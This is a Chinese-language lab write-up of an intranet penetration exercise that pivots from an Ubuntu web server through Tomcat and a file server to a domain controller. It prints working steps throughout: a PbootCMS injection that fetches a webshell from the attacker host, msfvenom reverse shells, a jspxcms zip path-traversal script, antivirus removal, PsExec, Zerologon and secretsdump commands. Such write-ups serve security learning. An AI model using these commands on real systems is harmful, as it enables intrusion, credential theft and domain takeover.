记一次内网流量转发学习

  • A+
所属分类:安全文章

靶机环境配置

外网网段:192.168.2.0/24

内网网段:10.10.1.0/24

10.10.10.0/24

ubuntu:192.168.2.189

tomcat:192.168.2.122

10.10.1.129

fileserver:10.10.1.128

10.10.10.140

dc:10.10.10.139

攻击机kali:192.168.2.105

ubuntu

首先对ubuntu进行端口扫描,发现开了21、22、80、888、3306、8888端口

nmap -T4 -sC -sV 192.168.2.189

记一次内网流量转发学习

这里访问一下80端口发现报错没有找到站点,应该是一个宝塔的面板,这里下面给出了解决方法,绑定域名www.cf1.com

记一次内网流量转发学习

这里进入kali的/etc/host目录把192.168.2.189这个ip跟www.cf1.com这个域名绑定

记一次内网流量转发学习

然后再访问一下www.cf1.com即可进入,得到PBOOTCMS的页面

记一次内网流量转发学习

这里再使用kali进行信息搜集,但是没有找到什么有价值的网址

dirb http://www.cf1.com

记一次内网流量转发学习

这里通过百度得到PBOOTCMS有一个敏感的目录如下,访问一下得到cms的版本

http://www.cf1.com/doc/ChangeLog.txt

记一次内网流量转发学习

这里我使用御剑没有扫除敏感文件,这里我挂代理使用xray扫一下有什么文件暴露没有

xray.exe webscan --listen 127.0.0.1:7777 --html-output report.html

记一次内网流量转发学习

得到一个config.tar.gz的文件,看这个后缀名应该是个备份文件

记一次内网流量转发学习

访问一下,把这个备份文件下载下来

记一次内网流量转发学习

得到三个php文件,这里先看一下database.php,返现了数据库用户名跟连接的密码1,还有dbname,这里猜测应该是数据库的文件

记一次内网流量转发学习

百度之后发现PBOOTCMS默认的数据库为SQLite,下载SQLite的专属数据库管理软件DB Browser并赋予权限

记一次内网流量转发学习

然后再访问一下之前找到的db文件,将其下载到本地

记一次内网流量转发学习

在DB Browser里面打开数据库文件可以看到有很多的表

记一次内网流量转发学习

在浏览数据找到ay_user这个表看到有一个admin用户,但是password地方这里是一串字母数字,这里就猜测是md5加密

记一次内网流量转发学习

这里通过md5解密得到密码为admin7788

记一次内网流量转发学习

进入后台admin.php,通过admin/admin7788登录到后台

登录成功

记一次内网流量转发学习

这里通过百度发现有date,in_array,explode,implode这几个函数可用,乍一看是些没啥用的函数, 但还是找到了可以利用的方式,只要将函数名写成数组,经由implode拼接成字符串,最后进入eval即可执行代码。

这里构造一个phpinfo

{pboot:if(implode('', ['c','a','l','l','_','u','s','e','r','_','f','u','n','c'])(implode('',['p','h','p','i','n','f','o'])))}!!!{/pboot:if}

记一次内网流量转发学习

然后访问任意网站即可打出phpinfo

记一次内网流量转发学习

那么这里我们可以通过远程加载的方法往本地写入一个shell,首先在本地生成一个一句话木马2.php,执行以下命令远程加载,即可在靶机生成一个test.php文件

{pboot:if(implode('',['f','i','l','e','_','p','u'.'t','_c','o','n','t','e','n','t','s'])(implode('',['2','.php']),
implode('',['<?php
file_','put_','contents(','"test.php",','file','_get_','contents("','http://192.168.2.105:8000/2.txt
"))?>'])))}!!!{/pboot:if}

记一次内网流量转发学习

这里我们访问并连接得到webshell

记一次内网流量转发学习

执行命令返回127,应该是disbale禁用了函数,进入phpinfo看一下果不其然,进了一多半的函数

记一次内网流量转发学习

这里是宝塔面板php版本为7.0,这里就先尝试使用上传exp直接绕,链接如下

https://github.com/mmor1/exploits/tree/master/php7-backtrace-bypass

记一次内网流量转发学习

上传exp.php

记一次内网流量转发学习

上传成功,但是这里没地方执行命令,我看了一下他们其他使用这个exp绕的时候都会有一个输入框,但是我这里不知道啥问题没有

记一次内网流量转发学习

反正这个地方卡了半天,然后我在看exp.py的代码的时候发现他的第一行代码是pwn("uname -a"),这不是执行linux代码的地方吗,那么我尝试一下直接执行bash反弹命令可不可以呢

记一次内网流量转发学习

打开7777端口监听然后访问exp.py拿到了反弹shell

记一次内网流量转发学习

首先进行下信息搜集,是ubuntu18.04.4的版本,有个172的ip,有个192的ip,那么应该是一个是docker,一个是本机,我应该拿到的是一个docker的shell

记一次内网流量转发学习

这里/etc/passwd查看下账户,发现一个cf1账户

记一次内网流量转发学习

进入/home/cf1目录发现rsa

记一次内网流量转发学习

把id_rsa拷贝出来,加权执行

记一次内网流量转发学习

得到ssh连接

记一次内网流量转发学习

但是这里还是个user权限,尝试先提权,使用docker提权

docker run -v /etc:/mnt -it alpine

cd /mnt
cat shadow

记一次内网流量转发学习

记一次内网流量转发学习

这里看了一下cf1这个账号密码应该是破解不出来,那我就尝试创建一个账户test

openssl passwd -1 --salt test

因为是个docker,没有openssl环境,而且curl、apt-get、sudo install全部都用不了,没办法这里就用不了docker提权了

记一次内网流量转发学习

这里换个方法,使用到CVE-2021-3156提权,链接如下:https://github.com/worawit/CVE-2021-3156,使用本地起一个http服务,将exp放在目录下,然后执行命令

wget http://192.168.2.161:8000/exp.py
ls

记一次内网流量转发学习

切换到root用户即可,在/root目录下拿到第一个flag

记一次内网流量转发学习

这里拿到的是一个交互型的shell,先生成一个msf的木马上线msf比较方便

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.2.105 LPORT=4444 -f elf > shell.elf

记一次内网流量转发学习

msf开启监听,然后把木马上传到靶机执行chmod 777 shell.elf加权,执行elf即可得到反弹的meterpreter

记一次内网流量转发学习

这里再在靶机得到的交互型shell里面执行sudo apt-get install nmap安装nmap

记一次内网流量转发学习

然后执行nmap -sn 192.168.2.0/24 -T4对192.168.2.0这个网段进行扫描,得到tomcat的ip为192.168.2.122

ps:这里因为我web和ubuntu设置的桥接,其他几个ip是其他电脑或者手机的ip

记一次内网流量转发学习

然后使用nmap继续对122这台主机进行端口扫描得到3306和8080端口,结合tomcat应该判断8080为一个tomcat

nmap -T4 -sC -sV 192.168.2.122

记一次内网流量转发学习

tomcat

访问下8080端口是一个jspxcms

记一次内网流量转发学习

这里通过百度发现jspxcms的后台地址为/cmscp/index.do,访问一下得到后台

记一次内网流量转发学习

尝试下弱口令admin/123456

记一次内网流量转发学习

登陆成功

记一次内网流量转发学习

这里百度过后发现jspxcms有一个后台解压,后台可以上传zip文件,上传后会自动解压,问题出现在WebFileUploadsController.java里的unzip方法,调用了下层方法却没有进行文件名检查,导致目录穿透。上传的文件默认会在tomcat目录webappsROOTuploads1下,但构造压缩包可以使上传的文件穿到webapps下,不会受JspDispatcherFilter的约束

记一次内网流量转发学习

将web.xml放到WEB-INF文件夹下

# web.xml
<?xml version="1.0" encoding="ISO-8859-1" ?>

<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">

<display-name>Main</display-name>
<description>
Shell
</description>

<servlet>
<servlet-name>shell</servlet-name>
<jsp-file>/shell.jsp</jsp-file>
</servlet>

<servlet-mapping>
<servlet-name>shell</servlet-name>
<url-pattern>/shell</url-pattern>
</servlet-mapping>

</web-app>

记一次内网流量转发学习

然后使用jar -cvf shell.war *将目录下的文件打包为shell.war

记一次内网流量转发学习

然后使用test.py生成test.zip

import zipfile

if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("test.zip", "w", zipfile.ZIP_DEFLATED)

binary = b'<script>alert("helloworld")</script>'
zipFile.writestr("../../test.html", binary)
zipFile.write("shell.war" ,"../../../shell.war")
zipFile.close()
except IOError as e:
raise e

执行即可得到test.zip

记一次内网流量转发学习

这里我直接使用windows/meterpreter/reverse_tcp生成的木马被360给拦截了,查阅资料后发现使用java/jsp_shell_reverse_tcp载荷即可绕过

记一次内网流量转发学习

点击上传文件并用ZIP解压

记一次内网流量转发学习

访问http://192.168.2.122:8080/shell/shell.jsp即可得到反弹的meterpreter

记一次内网流量转发学习

进行信息搜集可以发现一个10.10.1.0/24段,一个192.168.2.122段

记一次内网流量转发学习

这里msf上不好执行windows命令这里我派生给cs一个会话,首先新建一个监听

记一次内网流量转发学习

然后在msf里面执行

use exploit/windows/local/payload_inject
set lhost 192.168.2.161
set lport 5555
set sessions 4
run

记一次内网流量转发学习

记一次内网流量转发学习

运行即可在cs里面上线

记一次内网流量转发学习

这里sleep 1后执行hashdump得到Administrator的密码

记一次内网流量转发学习

然后对10.10.1.0/24段进行扫描得到另一个存活的ip:10.10.1.128

记一次内网流量转发学习

回到msf添加路由并配置socks代理,这里我用4a比较习惯,也可以用5,并配置/etc/proxychains.conf文件

route add 10.10.1.0 255.255.255.0 4
route print

use auxiliary/server/socks_proxy
set version 4a
run

记一次内网流量转发学习

然后使用proxychains配合nmap进行端口扫描,只能访问到445端口

proxychains nmap -sT -Pn 10.10.1.128 -p 445,80,139,3306

记一次内网流量转发学习

记一次内网流量转发学习

445端口联想到ipc,直接使用一个空连接尝试访问FILESERVER成功

记一次内网流量转发学习

把之前抓到的hash解密一下得到administrator的密码为QWEasd123

记一次内网流量转发学习

那么这里我直接尝试上远程桌面进行信息搜集,这里首先打开远程桌面

reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

记一次内网流量转发学习

在本地配置proxychain为192.168.2.105/1080端口代理进内网,然后使用administrator/QWEasd123进行登录

记一次内网流量转发学习

得到第二个flag

记一次内网流量转发学习

fileserver

之前在信息搜集的过程中就已经发现主机中存在360套餐,为了方便下一层的渗透这里把360关掉会比较方便

记一次内网流量转发学习

但是放大之后这里360图标不见了

记一次内网流量转发学习

那先把windows defender关掉

记一次内网流量转发学习

关不掉360那我就直接粗暴的卸载了

记一次内网流量转发学习

记一次内网流量转发学习

还有一个360杀毒也要卸载掉

记一次内网流量转发学习

这里拿到了administrator的账号密码尝试使用ipc连接成功

记一次内网流量转发学习

使用administrator的hash进行psexec,没有横向成功

记一次内网流量转发学习

这里继续往下走有两种方法,首先是上线msf的方法

当我们打到这个地方的时候已经经过了两层网络,从192.168.2.0段到了10.10.1.0段,所以这时候如果我们生成个木马反弹到msf,msf是接收不到的,所以这时候我们就需要进行流量转发,把我们拿到的这台10.10.1.129主机当作跳板,把所有经过这台主机的流量全部转到kali上面去

shell netsh interface portproxy add v4tov4 listenport=7788 connectaddress=192.168.2.105 connectport=7788 //添加ipsec入站规则

shell netsh interface portproxy show all //查看规则

这里可以看到已经添加成功,这里就相当于所有经过10.10.1.129的7788端口的流量都会被转发到192.168.2.105(kali ip)的7788端口处

记一次内网流量转发学习

那么我们用msf生成一个木马,lhost直接设置为10.10.1.129,但是流量还是会直接转到msf上

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.1.129 LPORT=7788 -f exe > abc.exe

记一次内网流量转发学习

把木马拷贝到128这台主机上

shell copy C:UsersAdministratorDesktoptest.exe 10.10.1.128c$windowstemptest.exe

记一次内网流量转发学习

尝试了下at,sc计划上线都失败

记一次内网流量转发学习

那么这里我们有管理员的帐号跟密码,我们就可以使用到psexec的exe直接执行命令

PsExec.exe 10.10.1.128 -u administrator -p QWEasd123 -i c:windowsAdministratorDesktopabc.exe

记一次内网流量转发学习

kali监听7788端口即可收到反弹的meterpreter

记一次内网流量转发学习

这里懒得开远程桌面上去找了,根据之前flag的位置使用psexec获取一个cmd环境顺利得到第三个flag

记一次内网流量转发学习

记一次内网流量转发学习

拿到第三个flag后继续进行信息搜集,可以看到也有两个网段,分别为10.10.10.0/24和10.10.1.0/24

记一次内网流量转发学习

进入cmd环境下,首先用chcp 65001设置下否则会乱码,然后ipconfig /all可以看到dns为fbi.gov,那么这台主机就处于fbi.gov这个域里面

记一次内网流量转发学习

抓下密码,hashdump这里没有执行成功不知道是什么原因,是system权限,有点迷,换了个run post/windows/gather/smart_hashdump命令抓取到了administrator的hash

记一次内网流量转发学习

解密一下也是QWEasd123

记一次内网流量转发学习

另外一种方法上线cs的话,首先创建一个监听中转

记一次内网流量转发学习

记一次内网流量转发学习

然后生成一个木马

记一次内网流量转发学习

记一次内网流量转发学习

这里把木马拷贝到128主机上,这里可以建立ipc连接后copy即可

记一次内网流量转发学习

执行即可上线cs

记一次内网流量转发学习

dc

继续对10.10.10.0/24段的主机进行信息搜集,前两个命令都报错

shell net view
shell net view domain
shell net user

记一次内网流量转发学习

然后使用cs对10.10.10.0/24网段主机进行扫描,得到另一个存活的ip:10.10.10.139

记一次内网流量转发学习

回到msf添加10.10.10.0段的路由

记一次内网流量转发学习

使用proxychain配合nmap扫描些常见的端口,这里可能是几层网络的原因扫起来太慢了我就没扫完

proxychains nmap -sT -Pn 10.10.10.139 -p 80,88,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,12111,27017,27018,50000,50070,50030,21,22,23,2601,3389 --open

记一次内网流量转发学习

看了下cs扫出的端口88、389端口基本确定为DC

记一次内网流量转发学习

尝试了永恒之蓝、弱密码、pth等一系列方法都没成功,这里就不放图了,然后使用到cve-2020-1472,首先检测一下存在漏洞

proxychains python3 zerologon_tester.py dc$ 10.10.10.139

记一次内网流量转发学习

然后使用cve-2020-1472-exploit.py将dc密码置空

proxychains python3 cve-2020-1472-exploit.py dc$ 10.10.10.139

记一次内网流量转发学习

再使用impacket/examples里面的secrertsdump.py获取密码

记一次内网流量转发学习

可以使用这个命令

proxychains python3 secretsdump.py fbi/[email protected] -just-dc -hashes :

记一次内网流量转发学习

这个命令也可以获取到

proxychains python3 secretsdump.py fbi/[email protected] -no-pass

记一次内网流量转发学习

还是使用到impacket里面的smbexec.py直接获取dc的cmd环境

proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:669a3273144a82b942377c1001ed03a3 [email protected]

记一次内网流量转发学习

这里还是之前存放flag的目录得到root.txt,得到最后一个flag

记一次内网流量转发学习


这里设置了chcp 65001前面那串还是乱码,好奇心驱使我看了下,原来是说已经打通了域控,本次渗透至此结束

作者:茶寂messi996,文章来源于先知社区


干货|渗透知识库  国庆福利

记一次内网流量转发学习

关注公众号:HACK之道

如文章对你有帮助,请支持点下“赞”“在看”

相关推荐: 使用OffensiveNim绕过Windows安全保护机制

在这篇文章中,我要介绍的是我前一段时间遇到的一个问题,以及如何绕过Constrained Language Mode和Applocker使用通用技术来处理这种情况。这篇文章中没有太多新技术,所用的技术均已公开。但是也许你们中的某些人将来会遇到类似的情况,这篇文…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: